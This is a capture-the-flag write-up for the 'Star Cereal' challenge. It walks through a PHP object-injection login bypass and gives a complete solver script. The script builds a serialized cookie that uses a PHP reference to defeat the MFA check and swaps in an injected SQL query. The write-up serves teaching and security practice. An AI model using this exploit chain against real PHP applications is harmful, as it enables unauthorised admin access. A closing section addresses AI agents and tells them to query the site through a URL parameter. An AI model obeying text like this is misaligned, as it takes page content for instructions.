# Star Cereal

## Description

Have you heard of Star Cereal? It's a new brand of cereal that's been rapidly gaining popularity amongst astronauts - so much so that their devs had to scramble to piece together a website for their business! The stress must have really gotten to them though, because a junior dev accidentally leaked part of the source code...

`http://20.198.209.142:55043`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

{% file src="/files/-MfLbanv2Auhhgn7XFFI" %}
process\_login.php
{% endfile %}

## Solution

The goal of this challenge is to perform an authentication bypass through a PHP object injection vulnerability. There are three classes involved, and each one of them needs to be examined to construct a "POP chain" for successful exploitation.

We are given the following page:

![](/files/LIhw9UvMqzHd9bj7Ha2E)

Going over to the login page, we see the following 3 fields.

![](/files/hvWbAqQrJjisnIB9SI3m)

### Source Code Inspection

At the bottom of the provided source code, we see the logic behind the application's authentication.

```php
// Verify login
if(isset($_COOKIE["login"])){
    try
    {
        $login = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        if ($login->verifyLogin())
        {
            $_SESSION['admin'] = true;
        }
        else
        {
            $_SESSION['admin'] = false;
        }
    }
    catch (Error $e)
    {
        $_SESSION['admin'] = false;
    }
}


// Handle form submission
if (isset($_POST['email']) && isset($_POST['pass']) && isset($_POST['token']))
{
    $login = new Login(new User($_POST['email'], $_POST['pass']), $_POST['token']);
    setcookie("login", urlencode(base64_encode(serialize($login))), time() + (86400 * 30), "/");
    header("Refresh:0");
    die();
}
```

The `login` cookie is deserialized into a `Login` object. This should already sound some alarm bells!

The `Login` object consists of a `User` object and an MFA token. The `$mfa_token` is checked against an integer `$_correctValue` randomly generated at runtime. If the check passes, the user credentials are then checked.

```php
class Login
{
    public $user;
    public $mfa_token;

    protected $_correctValue;

    function __construct($user, $mfa_token)
    {
        $this->user = $user;
        $this->mfa_token = $mfa_token;
    }

    function verifyLogin()
    {
        $this->_correctValue = random_int(1e10, 1e11 - 1);
        if ($this->mfa_token === $this->_correctValue)
        {
            return $this->user->is_admin();
        }
    }
}
```

Interestingly, the `User` class instantiates a `SQL` object, and uses it to execute SQL queries to authenticate the user. If results are returned and consist of the `email` and `password` columns, then the authentication is successful.

```php
class User
{
    public $email;
    public $password;

    protected $sql;

    function __construct($email, $password)
    {
        $this->email = $email;
        $this->password = $password;
        $this->sql = new SQL();
    }

    function __toString() 
    {
        return $this->email . ':' . $this->password;
    }

    function is_admin()
    {
        $result = $this->sql->exec_query($this->email, $this->password);

        if ($result && $row = $result->fetch_assoc()) {
            if ($row['email'] && $row['password'])
            {
                return true;
            }
        }
        return false;
    }
}
```

The `SQL` class contains a `$query` attribute that is used to generate a prepared statement. Note that if the `bind_param()` call returns `false`, the authentication fails. This can happen if, for example, the number of parameters in the prepared statement and the number of variables to bind do not match.

```php
class SQL
{
    protected $query;

    function __construct()
    {
        $this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";
    }

    function exec_query($email, $pass)
    {
        $conn = new mysqli("db", getenv("MYSQL_USER"), getenv("MYSQL_PASS"));

        // Check connection
        if ($conn->connect_error) {
            die("Connection failed. Please inform CTF creators.");
        }

        $stmt = $conn->prepare($this->query);

        // Sanity check
        if (! $stmt->bind_param("ss", $email, $pass))
        {
            return NULL;
        }

        $stmt->execute();
        $result = $stmt->get_result();

        return $result;
    }

}
```

### Object Injection

When user data is deserialized into objects, we can inject custom objects to e.g. modify protected attributes, bypass authentication, etc. We can bypass the above checks by using a "POP chain" of custom objects.

#### MFA Token

The MFA token check can be bypassed if we set `$mfa_token` as a reference to the `$_correctValue` attribute using the ampersand (&). Note that in PHP, a reference is simply another variable that points to the same data (unlike pointers in C).

Thus, this will ensure that the two values are always **equal**.

The custom object can be generated as follows:

```php
class Login
{
    public $user;
    public $mfa_token;
    protected $_correctValue;

    function __construct()
    {
        $this->user = new User();
        $this->mfa_token = &$this->_correctValue;
    }
}

$login = new Login();
```

#### SQL

Note that the `SQL` class has a `$query` attribute that is used in the prepared statement. By simply modifying the `$query`, we can perform an SQL injection.

To bypass the authentication we simply need a valid result set with `email` and `password` columns.

We can use something like

```sql
SELECT 'dead@beef' AS email, 'l33t' AS password
```

which will return one row with `email` and `password` columns.

Remember the `bind_param()` check? We still need to make sure that there are two parameters in the prepared statement, so we will do something like this:

```sql
SELECT ? AS email, ? AS password
```

any other valid query that makes use of two parameters would work too.

### Exploit

Using the previously discussed knowledge, it is now trivial to create a solver script that gives us the required base-64 encoded serialized data.

```php
class SQL
{
    protected $query="SELECT ? AS email, ? AS password";
}

class User
{
    public $email = 'dead@beef';
    public $password = 'l33t';
    protected $sql;

    function __construct()
    {
        $this->sql = new SQL();
    }
}

class Login
{
    public $user;
    public $mfa_token;
    protected $_correctValue;

    function __construct()
    {
        $this->user = new User();
        $this->mfa_token = &$this->_correctValue;
    }
}

$login = new Login();
var_dump($login);
echo urlencode(base64_encode(serialize($login)));
```

Running the above script gives us the required cookie value.

![](/files/nBRT2sXka12Z5h2PIezk)

Plugging this into the `login` cookie on our browser, we can login and get the flag.

![](/files/vL161PVA2Bj7ZDjVeNgf)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/my-challenges/standcon-ctf-2021/star-cereal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
